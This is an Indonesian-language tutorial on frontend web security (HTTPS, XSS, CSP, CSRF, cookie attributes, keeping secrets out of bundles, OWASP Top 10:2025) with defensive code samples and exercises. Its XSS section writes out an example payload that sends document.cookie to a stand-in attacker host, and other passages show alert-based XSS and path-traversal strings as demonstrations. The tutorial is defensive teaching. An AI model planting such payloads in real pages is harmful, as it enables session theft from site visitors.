Kenapa ini penting
Rumahmu punya pintu, kunci, mungkin pagar dan CCTV. Tidak ada satu pun yang membuat rumah 100% aman, tapi kombinasinya membuat pencuri berpikir dua kali dan memilih rumah lain. Keamanan web bekerja dengan prinsip yang sama, disebut defense in depth (pertahanan berlapis): HTTPS sebagai pagar, escape output sebagai kunci, CSP sebagai CCTV yang langsung mengunci pintu saat ada yang mencurigakan, cookie yang dikonfigurasi benar sebagai brankas.
Sebagai developer frontend kamu mungkin berpikir keamanan adalah urusan backend. Kenyataannya banyak serangan justru terjadi di browser: script jahat yang disisipkan lewat kolom komentar, kunci API yang ikut ter-bundle di JavaScript, form yang diam-diam dikirim dari situs lain. Ditambah lagi soal privasi: data pribadi pengguna (email, nomor HP, lokasi) adalah titipan, bukan milikmu. Di Indonesia, pelindungan data pribadi diatur dalam Undang-Undang Nomor 27 Tahun 2022.
Konsep inti
HTTPS: fondasi semuanya
HTTPS mengenkripsi lalu lintas antara browser dan server dengan TLS, sehingga orang di jaringan yang sama (WiFi kafe, misalnya) tidak bisa membaca atau mengubah data yang lewat. Tanpa HTTPS, semua pertahanan lain bisa dilewati: script bisa disisipkan di tengah jalan, cookie bisa dicuri. Banyak fitur browser modern (Service Worker, geolokasi, kamera, clipboard) hanya tersedia di secure context (HTTPS atau localhost). Sertifikat gratis tersedia dari Let's Encrypt, dan hampir semua hosting modern (Vercel, Netlify, Cloudflare Pages) menyalakannya otomatis. Header Strict-Transport-Security (HSTS) memberi tahu browser untuk selalu memakai HTTPS ke domainmu.
XSS: musuh nomor satu developer frontend
Cross-Site Scripting (XSS) terjadi saat data dari pengguna (atau sumber luar) ikut dieksekusi sebagai kode di halamanmu. Contoh: kolom nama diisi <img src=x onerror="fetch('https://jahat.id?c='+document.cookie)">, lalu kamu menampilkannya dengan innerHTML. Setiap orang yang membuka halaman itu menjalankan script si penyerang, yang bisa mencuri sesi, mengubah tampilan, atau melakukan aksi atas nama korban.
Pertahanan XSS, dari yang paling penting:
- Tampilkan data sebagai teks, bukan HTML. Pakai
textContent,createElement, dansetAttribute. Ini cara paling sederhana dan paling aman. - Kalau harus memakai template string +
innerHTML, escape dulu karakter& < > " 'menjadi entity HTML. - Jangan pernah memasukkan input pengguna ke
eval,new Function,setTimeout("string"), atau atributhreftanpa memeriksa skemanya (javascript:alert(1)adalah URL yang valid). - Kalau memang perlu menampilkan HTML dari pengguna (misalnya editor artikel), bersihkan dengan pustaka sanitizer yang terawat seperti DOMPurify. Jangan menulis sanitizer sendiri dengan regex.
- Pasang CSP sebagai lapis cadangan.
CSP: daftar tamu untuk script
Content Security Policy adalah header HTTP yang memberi tahu browser sumber mana saja yang boleh memuat script, style, gambar, dan sebagainya. Kalau ada script yang tidak ada di daftar, browser menolak menjalankannya, termasuk script inline dan atribut event seperti onerror="...". Jadi walaupun ada celah XSS yang lolos, script penyerang tidak jalan. Contoh kebijakan sederhana:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'none'
Artinya: semua sumber hanya dari domain sendiri, gambar juga boleh dari data:, plugin <object> dilarang, tag <base> dilarang, dan halaman tidak boleh di-embed di iframe situs lain (melindungi dari clickjacking). Beberapa hal penting dari MDN:
- CSP sebaiknya dikirim sebagai header di semua respons. Ada versi
<meta http-equiv="Content-Security-Policy">, tapi tidak mendukung semua fitur. - Untuk keamanan maksimal, MDN merekomendasikan strict CSP berbasis nonce (angka acak baru di setiap respons) atau hash untuk script.
- Hindari
'unsafe-inline', karena inline JavaScript adalah salah satu jalur XSS paling umum. Ganti atributonclickdenganaddEventListener. - Mulai dengan header
Content-Security-Policy-Report-Only: pelanggaran hanya dilaporkan, tidak diblokir, sehingga kamu bisa menguji tanpa merusak situs.
CSRF: permintaan palsu dari situs lain
Cross-Site Request Forgery memanfaatkan fakta bahwa browser otomatis mengirim cookie ke domain tujuan. Kamu sedang login di bank.id, lalu membuka promo-gratis.xyz yang diam-diam berisi form tersembunyi POST bank.id/transfer. Tanpa perlindungan, browser ikut mengirim cookie sesi bank, dan server mengira kamu sendiri yang mentransfer. Pertahanannya:
- Cookie
SameSite=LaxatauStrict(dijelaskan di bawah) sehingga cookie tidak ikut di permintaanPOSTlintas situs. - CSRF token: angka acak di setiap form yang dicek server. Situs lain tidak bisa membacanya.
- Jangan pernah mengubah data lewat
GET. Hapus akun, transfer, ubah password harus lewatPOST/PUT/DELETE.
Cookie yang aman
Cookie diatur server lewat header Set-Cookie. Atribut penting untuk cookie sesi:
| Atribut | Fungsi |
|---|---|
Secure |
Hanya dikirim lewat HTTPS |
HttpOnly |
Tidak bisa dibaca JavaScript (document.cookie), sehingga XSS tidak bisa mencurinya. Cookie tetap ikut terkirim di fetch |
SameSite=Strict |
Hanya dikirim untuk permintaan dari situs yang sama |
SameSite=Lax |
Juga dikirim saat pengguna mengklik link dari situs lain (navigasi GET), tapi tidak untuk fetch, <img>, iframe, atau POST lintas situs. Sebagian browser memakai Lax sebagai default jika SameSite tidak ditulis |
SameSite=None |
Dikirim ke mana saja. Wajib disertai Secure |
Prefix __Host- |
Nama cookie diawali __Host- hanya diterima jika Secure, tanpa Domain, dan Path=/ |
Max-Age / Expires |
Masa berlaku. Jika keduanya ada, Max-Age yang dipakai. Tanpa keduanya, cookie hilang saat browser ditutup |
Set-Cookie: __Host-sesi=8f3a...; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=86400
Karena itu, simpan token sesi di cookie HttpOnly, bukan di localStorage. Apa pun di localStorage bisa dibaca oleh script mana pun yang berhasil menyusup lewat XSS.
Rahasia di frontend: tidak ada
Semua yang dikirim ke browser bisa dilihat siapa saja lewat View Source atau tab Network, termasuk kode yang sudah diminifikasi. Jadi jangan pernah menaruh kunci API rahasia (kunci pembayaran, kunci OpenAI, password database, service key) di kode frontend atau di variabel VITE_.... Vite hanya mengekspos variabel berawalan VITE_ ke kode klien, dan nilainya ditanam apa adanya di file JavaScript hasil build (kami membuktikannya di modul Bundler). Untuk layanan yang butuh kunci rahasia, buat endpoint di server (atau serverless function) yang menyimpan kunci dan meneruskan permintaan.
Kunci yang memang didesain publik (misalnya kunci Maps yang dibatasi per domain) boleh ada di frontend, asalkan dibatasi di dashboard penyedianya.
Izin dan data pengguna
- Minta izin pada saat dibutuhkan, sebagai respons atas aksi pengguna. Jangan memunculkan pop-up minta lokasi, notifikasi, dan kamera begitu halaman terbuka. Pengguna akan menolak, dan banyak browser akan memblokir permintaan berikutnya.
- Kumpulkan seminimal mungkin (data minimization). Butuh kota? Jangan minta koordinat GPS akurat. Butuh umur 17+? Cukup checkbox, bukan tanggal lahir lengkap.
- Jelaskan untuk apa data dipakai, dan sediakan cara menghapusnya.
- Header
Permissions-Policymematikan fitur yang tidak kamu pakai (misalnyacamera=(), microphone=(), geolocation=()), sehingga script pihak ketiga pun tidak bisa memakainya. - Script pihak ketiga (analitik, chat widget, iklan) berjalan dengan hak akses yang sama dengan kodemu. Setiap script yang kamu tambahkan adalah pihak yang kamu percayai penuh.
OWASP Top 10:2025 secara ringkas
OWASP Top 10 adalah dokumen kesadaran keamanan aplikasi web yang paling dikenal. Edisi terbarunya adalah 2025:
| Kode | Risiko | Contoh yang relevan untuk frontend |
|---|---|---|
| A01:2025 | Broken Access Control | Menyembunyikan tombol admin di UI tapi API-nya tidak mengecek hak akses |
| A02:2025 | Security Misconfiguration | Tanpa CSP, debug mode menyala di produksi, file .env ikut ter-deploy |
| A03:2025 | Software Supply Chain Failures | Paket npm yang dibajak atau tidak pernah diperbarui |
| A04:2025 | Cryptographic Failures | Situs tanpa HTTPS, password disimpan tanpa hash |
| A05:2025 | Injection | XSS, SQL injection |
| A06:2025 | Insecure Design | Reset password hanya dengan menebak tanggal lahir |
| A07:2025 | Authentication Failures | Tidak ada batas percobaan login, sesi tidak pernah kedaluwarsa |
| A08:2025 | Software or Data Integrity Failures | Memuat script dari CDN tanpa verifikasi integritas |
| A09:2025 | Security Logging and Alerting Failures | Tidak ada log saat ada ribuan percobaan login gagal |
| A10:2025 | Mishandling of Exceptional Conditions | Pesan error menampilkan stack trace dan detail database ke pengguna |
Pelajaran terpenting: validasi di frontend hanya untuk kenyamanan pengguna, bukan keamanan. Siapa pun bisa melewati JavaScript-mu dan mengirim permintaan langsung ke server dengan curl. Server wajib memvalidasi ulang semuanya. Untuk A03, biasakan menjalankan npm audit dan memperbarui dependensi secara berkala.
Contoh kode
Fungsi escape yang dipakai di form newsletter, dan perbandingan tiga cara menampilkan data:
// src/utils.js
// Ubah karakter berbahaya jadi entity HTML agar teks tidak dibaca sebagai tag
export function escapeHTML(teks) {
return String(teks)
.replaceAll('&', '&') // & harus pertama, kalau tidak entity lain ikut rusak
.replaceAll('<', '<')
.replaceAll('>', '>')
.replaceAll('"', '"')
.replaceAll("'", ''');
}
const komentar = '<img src=x onerror="alert(\'kena XSS\')">';
const kotak = document.querySelector('#komentar');
// ❌ BAHAYA: string dibaca sebagai HTML, onerror langsung jalan
kotak.innerHTML = `<p>${komentar}</p>`;
// → muncul alert "kena XSS"
// ✅ Aman (pilihan terbaik): textContent selalu memperlakukan isinya sebagai teks
const p = document.createElement('p');
p.textContent = komentar;
kotak.replaceChildren(p);
// → tampil persis: <img src=x onerror="alert('kena XSS')">
// ✅ Aman juga: escape dulu kalau memang butuh template HTML
kotak.innerHTML = `<p><strong>Tamu:</strong> ${escapeHTML(komentar)}</p>`;
// → tag <strong> berfungsi, komentar tampil sebagai teks biasa
// ✅ Cek skema URL dari pengguna sebelum dipakai sebagai href
function urlAman(input) {
try {
const url = new URL(input, location.origin);
return ['http:', 'https:'].includes(url.protocol) ? url.href : '#';
} catch {
return '#';
}
}
console.log(urlAman('javascript:alert(1)')); // → #
console.log(urlAman('https://contoh.id')); // → https://contoh.id/
Server Node.js mini berikut menyajikan folder dist/ hasil build Vite dengan header keamanan dan cache. Kami menjalankannya, lalu mencoba menyisipkan <img onerror> ke halaman lewat DevTools. Browser menolak dengan pesan "Executing inline event handler violates the following Content Security Policy directive".
// server.js, jalankan dengan: node server.js (setelah npm run build)
import { createServer } from 'node:http';
import { readFile } from 'node:fs/promises';
import { extname, join, normalize } from 'node:path';
const ROOT = join(import.meta.dirname, 'dist');
const TIPE = {
'.html': 'text/html; charset=utf-8',
'.js': 'text/javascript; charset=utf-8',
'.css': 'text/css; charset=utf-8',
'.svg': 'image/svg+xml',
'.png': 'image/png',
'.webp': 'image/webp',
'.woff2': 'font/woff2',
};
const HEADER_KEAMANAN = {
'Content-Security-Policy':
"default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'none'",
'X-Content-Type-Options': 'nosniff', // jangan menebak tipe file
'Referrer-Policy': 'strict-origin-when-cross-origin',
'Permissions-Policy': 'camera=(), microphone=(), geolocation=()',
// Di produksi dengan HTTPS, tambahkan juga:
// 'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
};
createServer(async (req, res) => {
const url = new URL(req.url, 'http://localhost');
// normalize + cek awalan: cegah path traversal seperti /../../etc/passwd
const path = normalize(join(ROOT, url.pathname === '/' ? 'index.html' : url.pathname));
if (!path.startsWith(ROOT)) {
res.writeHead(403).end('Forbidden');
return;
}
try {
const isi = await readFile(path);
const cache = url.pathname.startsWith('/assets/')
? 'public, max-age=31536000, immutable' // nama file ber-hash
: 'no-cache'; // HTML selalu dicek ulang
res.writeHead(200, {
'Content-Type': TIPE[extname(path)] ?? 'application/octet-stream',
'Cache-Control': cache,
...HEADER_KEAMANAN,
});
res.end(isi);
} catch {
// Pesan error umum, tanpa detail internal (OWASP A10)
res.writeHead(404, HEADER_KEAMANAN).end('Tidak ditemukan');
}
}).listen(8080, () => console.log('Server jalan di http://localhost:8080'));
node server.js
# Terminal lain: lihat header yang dikirim
curl -sI http://localhost:8080/ | grep -iE "content-security|cache-control"
# → Cache-Control: no-cache
# → Content-Security-Policy: default-src 'self'; img-src 'self' data:; object-src 'none'; ...
# Cek dependensi yang punya celah keamanan yang diketahui
npm audit
# → found 0 vulnerabilities
Kesalahan umum
innerHTMLdengan data pengguna tanpa escape. PakaitextContent, atau escape semua nilai dinamis. Ingat bahwa data dari API juga "data luar".- Kunci rahasia di
.envberawalanVITE_. Semua variabelVITE_ditanam di bundle publik. Kunci rahasia hanya boleh hidup di server. - Token login di
localStorage. Bisa dicuri oleh XSS apa pun. Gunakan cookieHttpOnly; Secure; SameSite=Lax. - Menganggap validasi form di JavaScript sudah cukup. Penyerang bisa langsung memanggil API. Validasi ulang di server, dan cek hak akses di setiap endpoint (A01).
- CSP dengan
'unsafe-inline'supaya "tidak error". Itu membatalkan sebagian besar manfaat CSP. Pindahkan script inline ke file dan pakaiaddEventListener.
Latihan
- Mudah, Tuliskan header
Set-Cookieuntuk cookie sesi bernamasesiyang hanya lewat HTTPS, tidak bisa dibaca JavaScript, tidak ikut di POST lintas situs, dan berlaku 7 hari. - Sedang, Perbaiki fungsi ini agar aman dari XSS tanpa memakai
escapeHTML:function tampilkanUlasan(u) { list.innerHTML += '<li><b>' + u.nama + '</b>: ' + u.isi + '</li>'; }. - Menantang, Sebuah aplikasi cuaca memanggil API berbayar langsung dari browser:
fetch('https://api.cuaca.id/v1?key=' + import.meta.env.VITE_CUACA_KEY). Jelaskan masalahnya dan tulis endpoint Node.js sederhana yang menjadi perantara.
Lihat solusi
1.
Set-Cookie: sesi=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=604800
(7 × 24 × 60 × 60 = 604800 detik. Bisa juga SameSite=Strict kalau tidak masalah cookie tidak ikut saat pengguna datang dari link situs lain.)
2.
function tampilkanUlasan(u) {
const li = document.createElement('li');
const nama = document.createElement('b');
nama.textContent = u.nama;
li.append(nama, `: ${u.isi}`); // append dengan string = text node, aman
list.append(li);
}
Bonus: innerHTML += juga lambat karena membangun ulang seluruh isi list setiap kali.
3. Nilai VITE_CUACA_KEY ditanam di file JavaScript publik. Siapa pun bisa menyalinnya dan memakai kuotamu. Pindahkan kunci ke server:
// api-cuaca.js (server, kunci dibaca dari environment server, bukan VITE_)
import { createServer } from 'node:http';
createServer(async (req, res) => {
const url = new URL(req.url, 'http://localhost');
if (url.pathname !== '/api/cuaca') return res.writeHead(404).end();
const kota = url.searchParams.get('kota') ?? '';
if (!/^[\p{L} ]{2,40}$/u.test(kota)) return res.writeHead(400).end('Kota tidak valid');
const r = await fetch(
`https://api.cuaca.id/v1?kota=${encodeURIComponent(kota)}&key=${process.env.CUACA_KEY}`,
);
res.writeHead(r.status, { 'Content-Type': 'application/json' });
res.end(await r.text());
}).listen(3000);
// Frontend cukup memanggil: fetch('/api/cuaca?kota=Bandung')
Ringkasan
- HTTPS adalah fondasi. Tanpanya semua pertahanan lain bisa dilewati.
- XSS: tampilkan data dengan
textContent, escape kalau terpaksa memakaiinnerHTML, cek skema URL, dan pasang CSP sebagai lapis cadangan. - CSRF: cookie
SameSite, CSRF token, dan jangan mengubah data lewatGET. - Cookie sesi:
Secure; HttpOnly; SameSite=Lax. Token tidak disimpan dilocalStorage. - Tidak ada rahasia di frontend. Variabel
VITE_ikut ter-bundle. Minta izin seperlunya dan kumpulkan data seminimal mungkin. - OWASP Top 10:2025 dipimpin Broken Access Control. Validasi frontend hanya untuk kenyamanan, server wajib memvalidasi ulang.